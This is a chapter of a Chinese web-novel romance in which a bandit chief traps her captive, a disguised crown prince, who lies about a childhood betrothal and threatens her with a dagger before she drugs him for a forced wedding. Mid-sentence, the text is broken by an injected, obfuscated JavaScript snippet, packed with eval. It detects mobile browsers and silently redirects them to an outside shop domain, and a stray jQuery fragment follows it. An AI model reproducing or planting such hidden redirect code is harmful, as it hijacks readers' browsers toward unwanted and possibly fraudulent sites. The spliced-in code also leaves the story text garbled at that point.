文趣网 > 其他小说 > 错绑记仇太子之后 > 7. 娃娃亲
    明日寨中便有大喜事,尽管夜幕漆黑,寨上的红灯笼、红绸等依旧借着月色清晰可见。

    越远离山寨,越不见光亮,路渐渐黑了起来,也更加静谧,只有风吹树动、还有一些虫鸣的声响。

    谢惊瑶虽然有些怕黑,但有阿笑护在她身边,也没那么害怕。

    而且,一想到马上就有人掉入她的陷阱当中,她还有些隐隐兴奋。

    如她所料,她听见了有人落入陷阱的声音。

    爽。

    她用气音跟阿笑说了些什么,阿笑点了点头,站在原地不动,没过多久,谢惊瑶走到那陷阱旁。

    她点了个火折子,少女俏丽的面庞在光亮下格外清晰,姜珩向上望去,发现了这除了月亮以外的唯一光源。

    “刘郎君!我说怎么没找到刘郎君,你怎么在这?也不知道谁在这做了个陷阱,你怎么样,你有没有受伤?”少女语气尽是担忧,仿佛真的心疼。

    姜珩在黑暗下嘴角轻轻勾起:“没有受伤,山主放心。山主怎么这么晚出来?是自己出来的吗?山主快回去吧,大晚上的并不安全,碰见野兽就遭了,我无所谓,你受伤了才是大事。”

    “因为明日成婚,我有些睡不着,便想着来找你聊聊,没想到你竟然在这。”谢惊瑶给他递台阶:“你也是睡不着吗?”

    姜珩:“睡不着,我也是第一次成婚。”

    “我就知道,你一定不是想要逃婚。不过你要是想逃婚也没关系,虽然有些难过,但我这么大度,会原谅你。”

    她如同一个陷在泥沼里的痴情少女,对他满心满眼的喜爱,不离不弃。

    好半晌,洞下的人开口

    “对不起。”他满脸歉意:“我确实有逃婚的打算,对不住,在下辜负了山主的情谊和信任。”

    少女好一会儿没说话,仿佛在留着时间难过。

    她将火折子移远了些,让姜珩看不见她脸上的面容。

    “你果然不喜欢我。”谢惊瑶语气十分落寞,仿佛借着月色,黯然神伤。

    姜珩眼睫微颤,一时竟然分辨不出她这话是否发自内心。

    归根结底,她对他确实是有情义的,他这样直白会不会伤了她的心?

    不过半晌,她似是将自己哄好了,又道:

    “我先救你出来吧,虽然你没那么喜欢我,可我还是想要与你成亲。”

    光源消失了一会儿,便再次出现,她不知道从哪里捡来了藤蔓,扔在洞里,姜珩看着那顺下来的藤蔓,不动声色问道:

    “山主那贴身侍卫呢?”

    “在睡觉休息。”

    她脸不红心不跳,尽管此时此刻阿笑就在她的不远处。

    “我是来悄悄找你,你知道,我们山上的人对你有所偏见,我怕他们知道后觉得你蛊惑了我,对你不好。”

    “那日那两个对你不好的弟兄不就是吗?你看出来我是故意给你机会,让你在他们面前有个好印象了吧。”谢惊瑶一边拉绳子一边闲聊道。

    姜珩想到了那天她对他的维护,以及白白送给他给惊风寨弟兄留好印象的机会。

    “看出来了。”姜珩浅笑开口:“多谢山主厚爱。”

    他本想借着绳子的支撑用轻功回到地面,谁承想,他刚用力抓绳子,那绳子一滑,连带着上面的少女力道不稳,竟生生被他拉了下来。

    “啊呀!”

    少女的声音在夜中格外清亮,惊飞了窝在树上休眠的鸟雀。

    她一不小心,掉了下来,摔到了姜珩身上。

    结结实实,摔了个满怀,将男人压在身下。

    谢惊瑶倒是没受什么伤,就是不知道底下的姜珩如何了。

    她摁着他的胸膛撑起身,对上了男人漆黑的眸子,他的眼神有点冰冷,谢惊瑶不自觉手掌缩了缩。

    “嘶。”姜珩感受到了胸膛肌肉被人抓住的冒犯,眸中神色更冷。

    “谢谢你哦,刘郎君,你真好。”

    陷阱中有些昏暗,但因为两人距离极近,也能大致看出对方的轮廓。

    姜珩就算看得没那么清晰,也能想象得到她的笑有多甜美,如梦中一样,带着狡黠。

    终有一天,他会让她笑不出来。

    “你没受伤就好。”姜珩道。

    她手心的温度久久覆在他的胸膛上,整个人在他身上,身上的清香几乎将他包围,在这狭小的陷阱空间中,只有他们二人。

    “山主可否先起身?”

    “哦,好。”

    谢惊瑶站起来,拍了拍自己身上的灰。

    她隐隐还有些高兴,她此番落入陷阱,是故意为之,书上说了,两个人单独处在危险之中更容易滋生情谊,降低他的防备。

    明天她的谎言就要败露,他就会知道所谓成婚不过是威胁他的话,所以今天她要最后试一次,尝试让他对她有好感,愿意与她站在一起,相信她,告知矿洞的位置。

    如果他真的给了她矿藏的位置,她虽然不会真的与他成婚,但也算他改过自新的大功一件,尽管他是那贪官的私生子,往后他愿意的话,她也可以让他在她的惊风寨发光发热,保他后半辈子吃喝无忧。

    “好了,现在我也掉下来了,我们两个都被困在这洞里,不过,有我陪着你,你是不是没有那么害怕了?”

    少女靠坐在一边,心态极好的样子,歪着脑袋看他。

    姜珩低垂着眼,踌躇片刻,在她身边坐了下来。

    “是,有山主在我身边,我就不害怕了。”姜珩含笑道。

    “你为什么不想与我成婚,就因为我是山匪吗?”谢惊瑶笑道,“你实话实说就好,我不会生气。”

    只是如果因为出身的话,她会瞧不上他。

    她觉得他这个贪官污吏私生子的身份更加的上不得台面,还不如她们光明正大坦坦荡荡的义匪。

    “不是。”姜珩说的是实话。

    他并非是在乎出身的人,若是在乎出身,他也不会起了想要将这清风寨招安的心思。

    但,他不在乎出身,并不代表随便什么人都能与他成婚。

    至少羞辱他的不行。

    他堂堂太子,更不可能做她的压寨夫君。

    虽然她美得让人惊艳,但他也并非好色之徒。

    就是真天仙,他不喜欢,也照样不会与她成婚。

    可这女匪看样子是非他不可不肯罢休了,所以他要想个一劳永逸的法子。

    月凉如水,男人嗓音温润:

    “因为,我有喜欢的人。”

    说这话时,他直视着谢惊瑶。

    本以为自己可以心如止水地说出这个谎言,可不想在对上少女澄澈清眸时,心脏竟然快跳了一分,不知是心虚还是如何。

    “啊?!”谢惊瑶瞪圆了眼睛:“你竟然有喜欢的姑娘!”

    “嗯对。”姜珩转过头,不去看少女的目光,“我对她情根深重,此情不移,所以我不能与山主成婚。”

    他嗓音缱绻,似乎是真的在回想心上人。

    “山主很好,但我不能辜负她,先前与山主说的那些确实是我想要稳住山主的欺瞒之言,还请山主见谅。”

    天呐。

    谢惊瑶没有想到,他竟然有喜欢的姑娘。

    但他实在是太爱说谎,所以谢惊瑶并没有那么快地相信。

    “那你们是如何相识?怎么产生的情谊?”

    她不信。

    或者说不敢相信,以为他在骗她,没有死心。

    姜珩必须让她死心。

    “我与她是长辈定下的娃娃亲,我父亲与他父亲是很好的兄弟,她比我小四岁,她还在母亲肚子里时,我爹就赌这是个姑娘,要给我们定下亲事。”他娓娓道来。

    最真实的谎言,就是事实。

    姜珩说的这人并非虚构,而是事实。

    父皇与英国公是同生共死的好兄弟,关系极好,当初英国公小女儿还在母亲肚子中时,便要让他与她定下婚事。

    他那时四岁,虽然懂了很多事,但对于什么成亲,还很遥远,听着长辈们的说笑,便也不自觉地注意起英国公这个小女儿。

    他当时年纪小,思虑得并不周到,觉得英国公家庭很好,人好,无论是做臣子还是做叔伯都做的好,他的女儿做太子妃,再合适不过了。

    但英国公并没有答应,尽管他的父皇母后非常想定下这桩亲事,可英国公不想让女儿入皇家,更不想还没出生就束缚住她,因此拒了这桩皇室

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891191|212742||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的娃娃亲。

    这是姜珩为数不多与人险些成亲的经历,用这个事实拒掉这个女匪头子,再合适不过。

    “你今年多大?”谢惊瑶问。

    “二十一。”

    谢惊瑶眼睛瞪大几分,笑道:“那你那个定下娃娃亲的姑娘今年十七了诶,真巧,与我同岁。”

    姜珩淡笑:“是很巧。”

    “可你已过弱冠,按理来说,你们从小定了娃娃亲,应该已经成婚了,为何至今尚未成亲?”

    姜珩仔细回忆,搜寻对那英国公小女儿为数不多的印象:

    “因为……”他眉眼间似有些难过:“她从小体弱多病,身体不太好,还在山上养病。”

    这经历,倒是让谢惊瑶想起了她自己,她手指微微发紧,怜惜起了这个与她经历相似的姑娘。

    “你嫌弃她身体不好?”

    “怎么会?”姜珩似乎很着急,神色黯淡:“是她,怕耽误我,不愿与我成婚。”

    姜珩注意到少女的神情的变化,从他上了这惊风寨后,他就知晓,虽然这小姑娘强抢民男,还羞辱他,但她却有一颗纯善的心。

    她手下对她的敬重,更多是敬佩与报答,发自内心的想追随——她救了很多人。

    这么个侠肝义胆的苍狐,是不会抢一个从小身体不好的小姑娘的心上人的。

    “所以,为了你的心上人,你快把矿藏的位置告诉我,告诉我了,我就送你回去与你的心上人在一起,你们新婚之时,我还会给你们送上一份贺礼。”谢惊瑶有些惊喜,笑着诱导。

    她又不是真的要跟他成亲。

    他有在乎的人,绝对不想真的当她的压寨夫君,所以这威胁也就更有效用。

    怪不得他狗急跳墙要跑。

    “你……”姜珩满眼不可置信,“你要拆散我们这对有情人!”

    “是你要拆散你们有情人,我说了,你只要告诉我,我就会送你回去,你何必为你爹隐瞒呢,难道一个抛弃你的爹要比两情相悦的姑娘更值得吗?”

    “我真的不知道。”

    “那你就跟我成亲吧。”看他如滚刀肉一般,谢惊瑶两手一摊,破罐破摔。

    眼看明日就是成亲的日子,她竟然还不松口,姜珩黑眸划过一丝冷意。

    倏然,一把泛着冷意的匕刃抵在谢惊瑶瓷白脖颈处,冒出冷寒的光。

    如猛兽露出利齿,再也伪装不了温顺,面上只余冷厉寒意。

    他微微俯身,凑近谢惊瑶,冷沉的声音在空寂的夜中清晰可闻:

    “我觉得山主还是应该成全我们这对有情人,而非强取豪夺,山主觉得呢?”

    啪嗒——

    一滴清泪落在匕首上,极细微的重量,姜珩却清晰地感受到了。

    他手指一颤。

    “我以为虽然你是人质,但我对你并未亏待。”

    她清凌凌的眼睛望过来,含着泪花,这样漂亮又委屈的眼睛看向任何人,都很难不让人心软一瞬。

    “我没有想到,你这么讨厌我。”

    姜珩见过少女意气风发的样子,因而见到她这般的难过委屈,竟一时有些无措,心脏像被什么堵住了一般,想要说些什么。

    卡在她脖颈上的匕刃退后半寸:“不是讨厌你,我只是——”

    就在他心软的这一瞬,少女趁机抬手打落他的匕首,不等他防备,她胳膊一挥,有药粉扑进了他的鼻尖。

    姜珩晕了过去,晕之前的神情,似在懊悔自己的一时心软。

    谢惊瑶拍了拍手,气得踹了他一脚。

    竟然敢拿匕首抵着她!

    太可恶了!

    “阿笑!”她向上唤了一声,纪霄立马把绳子放下来。

    ……

    阳光正好,日子大吉。

    惊风寨喜气洋洋。

    迷药的时间并不短。

    姜珩再次醒来时,是在喜房中,他已经被换上了大红的婚服,只是这婚服有些草率,做工并不细致,用料也不好,只能勉勉强强算个喜服。

    而四周贴满的喜字,红绸,更是让他大脑嗡鸣。

    他浑身紧绷。

    终归是到这一天了吗?

    噩梦成真的一天。